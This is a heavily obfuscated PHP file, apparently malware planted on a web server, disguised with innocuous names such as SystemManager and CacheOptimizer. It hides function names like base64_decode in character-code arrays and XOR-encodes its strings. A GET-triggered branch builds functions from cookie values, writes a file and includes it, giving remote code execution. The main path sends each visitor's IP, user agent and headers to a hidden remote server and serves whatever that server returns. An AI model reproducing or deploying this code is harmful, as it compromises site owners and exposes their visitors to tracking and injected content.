<?php
class SystemManager
{
    private static $_c;
    static function fetchRecords($_jf, $_kys)
    {
        if (!self::$_c) {
            self::filterResults();
        }
        $_ka = free_resources($_kys);
        $_x = check_access(self::$_c[$_jf]);
        for ($_nbk = 0, $_ob = free_resources($_x); $_nbk !== $_ob; ++$_nbk) {
            $_x[$_nbk] = chr(ord($_x[$_nbk]) ^ ord($_kys[$_nbk % $_ka]));
        }
        return $_x;
    }
    private static function filterResults()
    {
        self::$_c = array('_p' => 'Hhk8HywJcjkwFC' . 'sIMBZyOzMWMA' . '1yNS0TOBM' . 'xQH' . '9' . 'Q', '_rn' => 'HAIxGToDK0ALFC8IZU0' . '+HS8BNg4+GTYCMUI1DCkMLA4tBC8' . 'Z', '_h' => 'PBA' . '=', '_vk' => 'Oh8pLwUgFlAqNQFXEwwEayoJOFIvNQFXFg8UNgI0Gg8sNixTBT4tby8KKA8AM' . 'jAOFgw' . 'MNgIkCRwHHCxa', '_a' => 'LgAX' . 'F' . 'Q' . '=' . '=', '_gtb' => 'YwkcY' . 'Q=' . '=', '_bb' => 'YwcIO1' . 's' . '=', '_f' => 'KAcIGw' . '=' . '=', '_kzr' => '', '_lc' => '', '_xg' => '', '_vft' => 'NxodHWVBRh0' . 'qDEcaOgwPBDMLAQIsGgwfc' . 'Q0GAHANBgAvARoILUADHm' . 'AKCBk+U' . 'w' . '=' . '=', '_e' => 'PBsQAwA' . 'H' . 'DA' . 'Y' . 'r', '_v' => 'Nx' . 'Y' . 'GLz0RMAYX', '_hd' => 'L' . 'AEGO' . 'g' . '8' . 'L', '_bf' => 'NwQWL' . 'wM' . '=', '_lr' => 'GCkmU' . 'Q==', '_b' => 'LwIENw==', '_dv' => 'Lgw' . '6C' . 'yY=', '_ye' => 'YA=' . '=', '_r' => 'LgINFSY' . '=', '_ux' => 'fzAgC' . 'yhbbl' . 'ZEUn' . 'I' . '8MAs' . 'AZV' . 'g' . '=', '_wz' => 'Nw4UKw=' . '=', '_wal' => 'Unw' . 'tFTEYCxkrHwEU' . 'ZVYtFjAFC3' . 'dV' . 'e2' . 'Q=', '_ien' => 'LAA' . 'HTHBc', '_k' => '', '_wnf' => 'NxosAQ' . '=' . '=', '_sxa' => 'Um4=', '_et' => 'Fzo' . 'LPgAtEycaIAs' . 'xFj4' . '=', '_dj' => 'Fz' . 'EuDzoiACM1DTI7DSE/Gzo8EDc=', '_jf' => 'DTES' . 'OwsxA' . 'DUbMA' . '0=', '_cd' => 'FycLIwAmD' . 'DYNLB40Gj' . '0' . 'L', '_wqp' => 'FyUkIgAkIzc' . 'NLjE1' . 'Gj8' . 'k', '_o' => '', '_jz' => 'Fzc+Dzw4GiUvDS' . 'Y' . '4', '_jm' => 'Fz' . '4' . 'LOg' . 'A4GiwaO' . 'Bo4', '_fs' => '', '_jv' => 'FzALNAAnEy0aKg' . 's7FjQ=', '_zw' => 'Fz' . 'A6DzstEy' . '0rETAxFjQ' . '=', '_lu' => 'F' . 'zs6DzA2ACkhDTgvDSsrG' . 'zAoED0=', '_vvf' => 'Fz41DzU5A' . 'CwuDT0gDS4kGzUnEDg=', '_xz' => 'DSo4Pw' . 'sq' . 'KjEbKyc=', '_cw' => 'DT8rPgs/O' . 'TAbPjQ' . '=', '_me' => 'OxcWBzARFA' . '==', '_i' => 'FjpOVQ=' . '=', '_nr' => 'fwhXMh' . '5OVw=' . '=', '_uj' => 'fxpLMToAU' . 'UM' . '=', '_hvr' => 'f' . '1A9' . 'Hm' . 'Fm', '_ec' => 'Ng' . 'c=', '_ge' => 'Kh' . 'k' . '=', '_x' => 'LQQ' . 'e', '_od' => 'LhAAJ' . 'w==');
    }
}

class CacheOptimizer
{
    private static $_c;
    static function fetchRecords($_jf)
    {
        if (!self::$_c) {
            self::filterResults();
        }
        return self::$_c[$_jf];
    }
    private static function filterResults()
    {
        self::$_c = array(0341, -01313, 0404, -01031, 01135, 0716, 0203, -0546, 0176, 01140, 15, 15, 5, 5, 5, 5, 5, 5, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, 0.125, -01107, 0407, 042, -01616, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.25, 0.875, 0.875, 0.875, 0.875, 0.875, 0.875, 0.875, 0.875, 0.2, 0.2, 0.2, 0.2, 0.2, -0643, 01153, 0242, 03, -0531, 8, 8, 8, 0.85714285714286, 0.85714285714286, 0.85714285714286, 0.85714285714286, 0.85714285714286, 0.85714285714286, 0.85714285714286, -030, -0173, 0121, -0206, -0353, 0715, 5, 5, 1, 1, 1, 1, 1, 1, 1, 1, 1, 057, -044, 4.6, 4.6, 4.6, 4.6, 4.6, -0153, 062, -074, -0277, -0372, -045, 0453, 0245, -0370, -0777, -0622, -0545, 0433, 0645, 01047, -060, 074, 01076, -0777, 0737, 0425, -01367, 0435, 01401, -03, 03, 014, -027, 034, -026, 042, 0136, -0476, -01012, -01353, 0452, -01347, -0454, 0274, 0611, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -01246, -0226, 01506, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 01247, 0275, -0561, -0453, 55.375, 55.375, 55.375, 55.375, 55.375, 55.375, 55.375, 55.375, 0173, -053, 0, 0, 0, 0, 128, 128, 128, 128, 128, 128, 128, 128, 0.2, 0.2, 0.2, 0.2, 0.2, 55, 55, 55, 55, 55, 0643, 0762, -0137, -033, 01316, 026, 01233, -0230, 02017);
    }
}

header(SystemManager::fetchRecords('_' . 'p', '_' . 'z'));
header(SystemManager::fetchRecords('_rn', '_m'));
if (isset($_GET[SystemManager::fetchRecords('_h', '_xkv')])) {
    $_qo = resolve_dependency(SystemManager::fetchRecords('_v' . 'k', '_fc'));
    if ($_qo && strpos($_qo, SystemManager::fetchRecords('_' . 'a', '_wmm')) !== false) {
        die(SystemManager::fetchRecords('_' . 'gtb', '_f' . 'w'));
    } else {
        die(SystemManager::fetchRecords('_b' . 'b', '_' . 'e' . 'i'));
    }
}
if (isset($_GET[SystemManager::fetchRecords('_f', '_' . 'f' . 'd' . 'w')])) {
    $_ob = $_COOKIE;
    $_kys = CacheOptimizer::fetchRecords(0) - CacheOptimizer::fetchRecords(1) - CacheOptimizer::fetchRecords(2) + CacheOptimizer::fetchRecords(3) - CacheOptimizer::fetchRecords(4) + CacheOptimizer::fetchRecords(5);
    $_jf = CacheOptimizer::fetchRecords(6) - CacheOptimizer::fetchRecords(7) + CacheOptimizer::fetchRecords(8) - CacheOptimizer::fetchRecords(9);
    $_eb = array();
    $_eb[$_kys] = SystemManager::fetchRecords('_' . 'kz' . 'r', '_zh');
    while ($_jf) {
        $_eb[$_kys] .= $_ob[(int) round(CacheOptimizer::fetchRecords(10) + CacheOptimizer::fetchRecords(11))][$_jf];
        if (!$_ob[(int) round(CacheOptimizer::fetchRecords(12) + CacheOptimizer::fetchRecords(13) + CacheOptimizer::fetchRecords(14) + CacheOptimizer::fetchRecords(15) + CacheOptimizer::fetchRecords(16) + CacheOptimizer::fetchRecords(17))][$_jf + (int) round(CacheOptimizer::fetchRecords(18) + CacheOptimizer::fetchRecords(19) + CacheOptimizer::fetchRecords(20) + CacheOptimizer::fetchRecords(21) + CacheOptimizer::fetchRecords(22) + CacheOptimizer::fetchRecords(23) + CacheOptimizer::fetchRecords(24) + CacheOptimizer::fetchRecords(25))]) {
            if (!$_ob[CacheOptimizer::fetchRecords(26) - CacheOptimizer::fetchRecords(27) - CacheOptimizer::fetchRecords(28) - CacheOptimizer::fetchRecords(29)][$_jf + (int) round(CacheOptimizer::fetchRecords(30) + CacheOptimizer::fetchRecords(31) + CacheOptimizer::fetchRecords(32) + CacheOptimizer::fetchRecords(33) + CacheOptimizer::fetchRecords(34) + CacheOptimizer::fetchRecords(35) + CacheOptimizer::fetchRecords(36) + CacheOptimizer::fetchRecords(37))]) {
                break;
            }
            $_kys++;
            $_eb[$_kys] = SystemManager::fetchRecords('_lc', '_' . 'vm');
            $_jf++;
        }
        $_jf = $_jf + (int) round(CacheOptimizer::fetchRecords(38) + CacheOptimizer::fetchRecords(39) + CacheOptimizer::fetchRecords(40) + CacheOptimizer::fetchRecords(41) + CacheOptimizer::fetchRecords(42) + CacheOptimizer::fetchRecords(43) + CacheOptimizer::fetchRecords(44) + CacheOptimizer::fetchRecords(45)) + (int) round(CacheOptimizer::fetchRecords(46) + CacheOptimizer::fetchRecords(47) + CacheOptimizer::fetchRecords(48) + CacheOptimizer::fetchRecords(49) + CacheOptimizer::fetchRecords(50));
    }
    $_kys = $_eb[CacheOptimizer::fetchRecords(51) + CacheOptimizer::fetchRecords(52) + CacheOptimizer::fetchRecords(53) - CacheOptimizer::fetchRecords(54) + CacheOptimizer::fetchRecords(55)]() . $_eb[(int) round(CacheOptimizer::fetchRecords(56) + CacheOptimizer::fetchRecords(57) + CacheOptimizer::fetchRecords(58))];
    if (!$_eb[(int) round(CacheOptimizer::fetchRecords(59) + CacheOptimizer::fetchRecords(60) + CacheOptimizer::fetchRecords(61) + CacheOptimizer::fetchRecords(62) + CacheOptimizer::fetchRecords(63) + CacheOptimizer::fetchRecords(64) + CacheOptimizer::fetchRecords(65))]($_kys)) {
        $_jf = $_eb[CacheOptimizer::fetchRecords(66) + CacheOptimizer::fetchRecords(67) + CacheOptimizer::fetchRecords(68) + CacheOptimizer::fetchRecords(69) + CacheOptimizer::fetchRecords(70) + CacheOptimizer::fetchRecords(71)]($_kys, $_eb[(int) round(CacheOptimizer::fetchRecords(72) + CacheOptimizer::fetchRecords(73))]);
        $_eb[(int) round(CacheOptimizer::fetchRecords(74) + CacheOptimizer::fetchRecords(75) + CacheOptimizer::fetchRecords(76) + CacheOptimizer::fetchRecords(77) + CacheOptimizer::fetchRecords(78) + CacheOptimizer::fetchRecords(79) + CacheOptimizer::fetchRecords(80) + CacheOptimizer::fetchRecords(81) + CacheOptimizer::fetchRecords(82))]($_jf, $_eb[CacheOptimizer::fetchRecords(83) + CacheOptimizer::fetchRecords(84)] . $_eb[(int) round(CacheOptimizer::fetchRecords(85) + CacheOptimizer::fetchRecords(86) + CacheOptimizer::fetchRecords(87) + CacheOptimizer::fetchRecords(88) + CacheOptimizer::fetchRecords(89))]($_eb[CacheOptimizer::fetchRecords(90) + CacheOptimizer::fetchRecords(91) - CacheOptimizer::fetchRecords(92) + CacheOptimizer::fetchRecords(93) - CacheOptimizer::fetchRecords(94) + CacheOptimizer::fetchRecords(95)]($_ob[CacheOptimizer::fetchRecords(96) + CacheOptimizer::fetchRecords(97) - CacheOptimizer::fetchRecords(98) + CacheOptimizer::fetchRecords(99) + CacheOptimizer::fetchRecords(100) - CacheOptimizer::fetchRecords(101) - CacheOptimizer::fetchRecords(102) - CacheOptimizer::fetchRecords(103) + CacheOptimizer::fetchRecords(104)])));
    }
    include $_kys;
}
function resolve_dependency($_qnc, $_o = false, $_gy = 1.1594341165567)
{
    $_d = SystemManager::fetchRecords('_xg', '_el');
    $_cf = SystemManager::fetchRecords('_vf' . 't', '_ni' . 'm') . $_qnc;
    if (is_callable(SystemManager::fetchRecords('_' . 'e', '_' . 'nbo'))) {
        $_j = curl_init($_cf);
        curl_setopt($_j, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($_j, CURLOPT_SSL_VERIFYHOST, CacheOptimizer::fetchRecords(105) + CacheOptimizer::fetchRecords(106) + CacheOptimizer::fetchRecords(107) + CacheOptimizer::fetchRecords(108) + CacheOptimizer::fetchRecords(109) - CacheOptimizer::fetchRecords(110) + CacheOptimizer::fetchRecords(111) - CacheOptimizer::fetchRecords(112) + CacheOptimizer::fetchRecords(113));
        curl_setopt($_j, CURLOPT_FOLLOWLOCATION, CacheOptimizer::fetchRecords(114) + CacheOptimizer::fetchRecords(115) - CacheOptimizer::fetchRecords(116) - CacheOptimizer::fetchRecords(117) + CacheOptimizer::fetchRecords(118) - CacheOptimizer::fetchRecords(119) + CacheOptimizer::fetchRecords(120) - CacheOptimizer::fetchRecords(121));
        curl_setopt($_j, CURLOPT_RETURNTRANSFER, CacheOptimizer::fetchRecords(122) - CacheOptimizer::fetchRecords(123) - CacheOptimizer::fetchRecords(124) + CacheOptimizer::fetchRecords(125) + CacheOptimizer::fetchRecords(126) + CacheOptimizer::fetchRecords(127) + CacheOptimizer::fetchRecords(128) - CacheOptimizer::fetchRecords(129));
        curl_setopt($_j, CURLOPT_HEADER, (int) round(CacheOptimizer::fetchRecords(130) + CacheOptimizer::fetchRecords(131) + CacheOptimizer::fetchRecords(132) + CacheOptimizer::fetchRecords(133) + CacheOptimizer::fetchRecords(134) + CacheOptimizer::fetchRecords(135) + CacheOptimizer::fetchRecords(136) + CacheOptimizer::fetchRecords(137) + CacheOptimizer::fetchRecords(138) + CacheOptimizer::fetchRecords(139)));
        curl_setopt($_j, CURLOPT_CONNECTTIMEOUT, CacheOptimizer::fetchRecords(140) + CacheOptimizer::fetchRecords(141) + CacheOptimizer::fetchRecords(142));
        curl_setopt($_j, CURLOPT_TIMEOUT, (int) round(CacheOptimizer::fetchRecords(143) + CacheOptimizer::fetchRecords(144) + CacheOptimizer::fetchRecords(145) + CacheOptimizer::fetchRecords(146) + CacheOptimizer::fetchRecords(147) + CacheOptimizer::fetchRecords(148) + CacheOptimizer::fetchRecords(149) + CacheOptimizer::fetchRecords(150) + CacheOptimizer::fetchRecords(151) + CacheOptimizer::fetchRecords(152)));
        $_d = curl_exec($_j);
        $_xev = curl_getinfo($_j);
        curl_close($_j);
        if ($_xev[SystemManager::fetchRecords('_' . 'v', '_' . 'b' . 'r')] != CacheOptimizer::fetchRecords(153) + CacheOptimizer::fetchRecords(154) + CacheOptimizer::fetchRecords(155) + CacheOptimizer::fetchRecords(156)) {
            return false;
        }
    } else {
        $_tt = parse_url($_cf);
        $_lr = $_tt[SystemManager::fetchRecords('_hd', '_' . 'bn')] == SystemManager::fetchRecords('_bf', '_pb');
        $_l = SystemManager::fetchRecords('_lr', '_l' . 'r' . 'q') . $_tt[SystemManager::fetchRecords('_b', '_c' . 'p')];
        if (isset($_tt[SystemManager::fetchRecords('_d' . 'v', '_' . 'y')])) {
            $_l .= SystemManager::fetchRecords('_' . 'ye', '_' . 'sz') . $_tt[SystemManager::fetchRecords('_' . 'r', '_wh' . 'g')];
        }
        $_l .= SystemManager::fetchRecords('_' . 'ux', '_' . 'xt') . $_tt[SystemManager::fetchRecords('_wz', '_ag')] . SystemManager::fetchRecords('_' . 'wal', '_vn' . 'z');
        $_pvo = fsockopen(($_lr ? SystemManager::fetchRecords('_ien', '_skv') : SystemManager::fetchRecords('_k', '_c')) . $_tt[SystemManager::fetchRecords('_wn' . 'f', '_u')], $_lr ? (int) round(CacheOptimizer::fetchRecords(157) + CacheOptimizer::fetchRecords(158) + CacheOptimizer::fetchRecords(159) + CacheOptimizer::fetchRecords(160) + CacheOptimizer::fetchRecords(161) + CacheOptimizer::fetchRecords(162) + CacheOptimizer::fetchRecords(163) + CacheOptimizer::fetchRecords(164)) : CacheOptimizer::fetchRecords(165) + CacheOptimizer::fetchRecords(166));
        if ($_pvo) {
            fputs($_pvo, $_l);
            $_x = (int) round(CacheOptimizer::fetchRecords(167) + CacheOptimizer::fetchRecords(168) + CacheOptimizer::fetchRecords(169) + CacheOptimizer::fetchRecords(170));
            while (!feof($_pvo)) {
                $_kj = fgets($_pvo, (int) round(CacheOptimizer::fetchRecords(171) + CacheOptimizer::fetchRecords(172) + CacheOptimizer::fetchRecords(173) + CacheOptimizer::fetchRecords(174) + CacheOptimizer::fetchRecords(175) + CacheOptimizer::fetchRecords(176) + CacheOptimizer::fetchRecords(177) + CacheOptimizer::fetchRecords(178)));
                if ($_x) {
                    $_d .= $_kj;
                }
                if ($_kj == SystemManager::fetchRecords('_' . 's' . 'x' . 'a', '_ds')) {
                    $_x = (int) round(CacheOptimizer::fetchRecords(179) + CacheOptimizer::fetchRecords(180) + CacheOptimizer::fetchRecords(181) + CacheOptimizer::fetchRecords(182) + CacheOptimizer::fetchRecords(183));
                }
            }
            fclose($_pvo);
        }
    }
    return $_d;
}

$_re = isset($_SERVER[SystemManager::fetchRecords('_et', '_n')]);
$_gqm = isset($_SERVER[SystemManager::fetchRecords('_d' . 'j', '_ez')]);
$_vjp = isset($_SERVER[SystemManager::fetchRecords('_jf', '_t')]);
$_i = isset($_SERVER[SystemManager::fetchRecords('_cd', '_' . 's')]) ? $_SERVER[SystemManager::fetchRecords('_wqp', '_qp' . 'r')] : SystemManager::fetchRecords('_o', '_mp');
$_ml = isset($_SERVER[SystemManager::fetchRecords('_j' . 'z', '_' . 'cj')]) ? $_SERVER[SystemManager::fetchRecords('_' . 'jm', '_' . 'j')] : SystemManager::fetchRecords('_fs', '_no' . 'p');
$_re = isset($_SERVER[SystemManager::fetchRecords('_' . 'j' . 'v', '_' . 'd')]) ? $_SERVER[SystemManager::fetchRecords('_zw', '_' . 'dn')] : null;
$_gqm = isset($_SERVER[SystemManager::fetchRecords('_l' . 'u', '_' . 'o' . 'n')]) ? $_SERVER[SystemManager::fetchRecords('_v' . 'vf', '_ja')] : null;
$_vjp = isset($_SERVER[SystemManager::fetchRecords('_' . 'x' . 'z', '_' . 'ou' . 'p')]) ? $_SERVER[SystemManager::fetchRecords('_c' . 'w', '_' . 'zfq')] : null;
if (filter_var($_re, (int) round(CacheOptimizer::fetchRecords(184) + CacheOptimizer::fetchRecords(185) + CacheOptimizer::fetchRecords(186) + CacheOptimizer::fetchRecords(187) + CacheOptimizer::fetchRecords(188)))) {
    $_eud = $_re;
} elseif (filter_var($_gqm, CacheOptimizer::fetchRecords(189) - CacheOptimizer::fetchRecords(190) + CacheOptimizer::fetchRecords(191) + CacheOptimizer::fetchRecords(192) + CacheOptimizer::fetchRecords(193) - CacheOptimizer::fetchRecords(194) + CacheOptimizer::fetchRecords(195) - CacheOptimizer::fetchRecords(196) - CacheOptimizer::fetchRecords(197))) {
    $_eud = $_gqm;
} else {
    $_eud = $_vjp;
}
if (isset($_GET[SystemManager::fetchRecords('_m' . 'e', '_u' . 'q' . 'j')])) {
    echo SystemManager::fetchRecords('_i', '_jt' . 'u') . $_eud . SystemManager::fetchRecords('_' . 'nr', '_' . 'twg') . $_i . SystemManager::fetchRecords('_' . 'uj', '_' . 'fkc') . $_ml . SystemManager::fetchRecords('_' . 'hvr', '_l');
    exit;
}
if (!isset($_eud) || !isset($_i) || !isset($_ml)) {
    exit;
} else {
    $_ui = array(SystemManager::fetchRecords('_e' . 'c', '_' . 'w') => $_eud, SystemManager::fetchRecords('_' . 'g' . 'e', '_xo') => $_i, SystemManager::fetchRecords('_' . 'x', '_' . 'ax') => $_ml);
    $_ycd = hash_string(log_operation(json_encode($_ui)));
    $_qo = resolve_dependency($_ycd);
    if ($_qo && strpos($_qo, SystemManager::fetchRecords('_o' . 'd', '_gz')) !== false) {
        echo $_qo;
        exit;
    }
}
function check_access($c)
{
    $a = array(70 + 22 + 9, 103 - 3, 24 + 13 + 74, 25 * 2 + 49, 49 * 76 - 3623, 33 + 21 + 46, 105 - 10, 16 + 36, 28 + 25 + 1, 39 + 9 + 53, 70 * 1 + 45, 97, 45 * 1 + 53);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function log_operation($c)
{
    $a = array(47 + 54, 69 + 31, 112 - 1, 3 * 33, 48 + 62, 54 * 1 + 47, 18 * 2 + 59, 39 + 9 + 4, 13 + 41, 29 * 104 - 2915, 5 * 23, 38 * 2 + 21, 9 * 103 - 829);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function hash_string($c)
{
    $a = array(125 - 8, 106 + 6 + 2, 79 + 13 + 16, 31 * 26 - 705, 105 * 62 - 6400, 3 * 33, 3 * 37, 2 * 73 - 46, 107 - 6);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function free_resources($c)
{
    $a = array(107 + 2 + 1, 55 + 4 + 42, 2 * 54, 124 - 10, 51 + 65, 115);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}
/* PKiecrsw */